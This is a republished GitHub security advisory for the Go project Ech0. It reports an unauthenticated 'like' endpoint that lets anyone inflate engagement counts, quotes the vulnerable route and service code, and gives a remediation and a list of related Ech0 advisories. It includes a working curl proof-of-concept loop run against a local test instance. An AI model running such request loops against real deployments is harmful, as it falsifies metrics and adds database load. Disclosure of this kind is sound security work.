GHSA-rgj7-vg8v-j4wr: Ech0's Unauthenticated Like Endpoint Enables Arbitrary Engagement Metric Inflation
Summary No authentication is required to invoke PUT /api/echo/like/:id. The handler is registered on the public router group. The service increments favcount for the given echo without checking identity, without a per-user limit, and without CSRF tokens. A remote client can arbitrarily inflate like metrics with repeated requests. Description Root cause: The like endpoint is explicitly public (PublicRouterGroup).
Published May 7, 2026
Affected packages
github.com/lin-snow/ech0
- Ecosystem
- Go
- Affected
- < 1.4.8-0.20260503040728-a7e8b8e84bd1
- Fixed in
- 1.4.8-0.20260503040728-a7e8b8e84bd1
- Check
go list -m github.com/lin-snow/ech0
Advisory details
From the GitHub Advisory Database (CC BY 4.0).
Summary
No authentication is required to invoke `PUT /api/echo/like/:id`. The handler is registered on the public router group. The service increments `fav_count` for the given echo without checking identity, without a per-user limit, and without CSRF tokens. A remote client can arbitrarily inflate like metrics with repeated requests.
Description
Root cause: The like endpoint is explicitly public (PublicRouterGroup). LikeEcho in the service layer only runs a repository increment inside a transaction—no viewer/user binding.
Security boundary that fails: Integrity of engagement metrics (likes) and any trust that “likes” represent distinct or authenticated users.
Exploitation: Discover or guess a public echo UUID (timeline, API, share link) → send unauthenticated PUT repeatedly → `fav_count` increases linearly.
Affected files
| Public route registration | `internal/router/echo.go` | | Like mutation (no auth check) | `internal/service/echo/echo.go` | | Handler | `internal/handler/echo/echo.go` |
Vulnerable / relevant code
Public PUT route:
// Public
appRouterGroup.PublicRouterGroup.PUT("/echo/like/:id", h.EchoHandler.LikeEcho())
appRouterGroup.PublicRouterGroup.GET("/tags", h.EchoHandler.GetAllTags())Service does not use viewer / rate limit:
func (echoService *EchoService) LikeEcho(ctx context.Context, id string) error {
return echoService.transactor.Run(ctx, func(txCtx context.Context) error {
return echoService.echoRepository.LikeEcho(txCtx, id)
})
}Execution flow
- Client resolves
ECHO_ID(e.g.GET /api/echo/pagewith any valid token, or from UI). - Client sends `PUT /api/echo/like/{ECHO_ID}` with no
Authorizationheader. - Gin matches public route → handler →
EchoService.LikeEcho→ DB increments `fav_count`. - Repeat N times → count increases by N.
Proof of concept
BASE="http://127.0.0.1:6277"
OWNER_TOKEN=$(curl -sS -X POST "$BASE/api/login" \
-H "Content-Type: application/json" \
-d '{"username":"owner","password":"OwnerPass123"}' | jq -r '.data')
ECHO_ID=$(curl -sS "$BASE/api/echo/page?page=1&page_size=1" \
-H "Authorization: Bearer $OWNER_TOKEN" | jq -r '.data.items[0].id')
# Single unauthenticated like
curl -sS -w "\nHTTP:%{http_code}\n" -X PUT "$BASE/api/echo/like/$ECHO_ID"
# Inflate (e.g. 55 times); expect HTTP 200 each time
for i in $(seq 1 55); do
curl -sS -o /dev/null -w "%{http_code}\n" -X PUT "$BASE/api/echo/like/$ECHO_ID"
done
# Observe fav_count
curl -sS "$BASE/api/echo/$ECHO_ID" | jq '.data | {id, fav_count}'Observed proof (manual test):
- Each unauthenticated
PUTreturned HTTP `200` with success JSON (e.g.点赞Echo成功,code:1). - `fav_count` increased to 113 , demonstrating linear inflation from one client with no authentication.
Impact
Like counts and ranking/social proof can be falsified; feeds or “popular” logic tied to fav_count are untrustworthy. high-volume loops add DB write load; possible abuse against availability at scale.
Attacker capability: Anyone on the network can manipulate public engagement metrics for any known echo id. Combined with permissive CORS browsers could automate cross-origin requests.
Remediation
Require authentication for likes and enforce one like per principal, or keep anonymous likes but add rate limiting, proof-of-work / captcha, or signed tokens tied to anon sessions; document that counts are not auditor-grade metrics.
Credited to VashuVats.
References
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology
More Go vulnerabilities
All Go entriesGHSA-mqxv-9rm6-w8qc
Ech0: ParseAcceptLanguage `_` separator bypass enables ~70x CPU amplification via Accept-Language header in i18n.Middleware
high8.7No fixJul 14, 2026GHSA-8mc6-xjpr-h98x
Ech0 has Server-Side Request Forgery (SSRF) via Connect Handler fetchPeerConnectInfo
high7.7May 7, 2026GHSA-4h9q-p5j4-xvvh
Ech0: Scoped admin access tokens can bypass least-privilege controls on privileged endpoints, including backup export
high7.6Apr 10, 2026GHSA-69hx-63pv-f8f4
Ech0 has Stored XSS via SVG Upload and Content-Type Validation Bypass in File Upload
medium4.8Apr 10, 2026GHSA-cp79-9mwr-wr49
Ech0: Missing authorization on dashboard log endpoints allows low-privilege users to access sensitive system logs
medium6.5Apr 10, 2026GHSA-fwg7-53p4-g33c
Ech0 Comment Panel Endpoints Missing RequireScopes Middleware — Scoped Access Token Bypass
medium5.5Apr 10, 2026
